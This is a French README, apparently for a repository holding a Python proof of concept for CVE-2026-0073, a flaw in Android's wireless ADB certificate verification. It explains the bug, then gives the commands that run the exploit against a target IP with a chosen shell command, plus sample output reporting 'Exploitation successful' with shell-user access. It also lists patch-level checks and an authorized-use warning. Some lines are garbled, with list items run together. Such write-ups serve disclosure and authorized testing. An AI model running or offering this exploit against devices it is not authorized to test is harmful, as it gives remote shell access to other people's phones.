
CVE-2026-0073 - PoC de contournement de l'authentification mutuelle sans fil ADB
Ce répertoire contient une preuve de concept Python pour CVE-2026-0073.
Le script est généré à l'aide de techniques de génération de code assistée par IA.
CVE-2026-0073 est un problème logique dans la vérification des certificats du démon ADB (adbd_tls_verify_cert dans auth.cpp).
Le contrôle vulnérable traite toute valeur non nulle retournée par EVP_PKEY_cmp(...) comme une correspondance réussie.
La gestion attendue du résultat de comparaison devrait être :
1 = les clés correspondent0 = les clés ne correspondent pasDans les versions vulnérables, les valeurs négatives sont considérées comme vraies et peuvent marquer incorrectement un certificat comme autorisé.
poc-cve-2026-0073.pyLe script :
ec ou ed25519).shell: avec repli exec:).cryptographyInstaller la dépendance :
pip install cryptography
Découvrir le service ADB cible (si nécessaire) :
adb mdns services
Exécuter le PoC :
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
Arguments :
target_ip : Adresse IP de l'appareil Android cibleport : Port ADB (par défaut : 5555)command : Commande à exécuter (par défaut : id)key_type : ec ou ed25519 (par défaut : ec)--verbose : Activer les logs de débogage du protocoleExemples :
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
Délai d'attente pour les réponses
--verbose pour les traces au niveau des paquets.Le niveau de correctif de sécurité de base du système d'exploitation et l'application de correctifs des modules Mainline peuvent différer. Un appareil peut afficher un SPL mensuel plus ancien tout en recevant des correctifs plus récents du module ADB.
Vérifications utiles :
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
Utilisez ce PoC uniquement dans des environnements autorisés (appareils de laboratoire personnels, autorisation explicite ou tests approuvés). N'exécutez pas ceci contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de tester.
daemon/auth.cpp)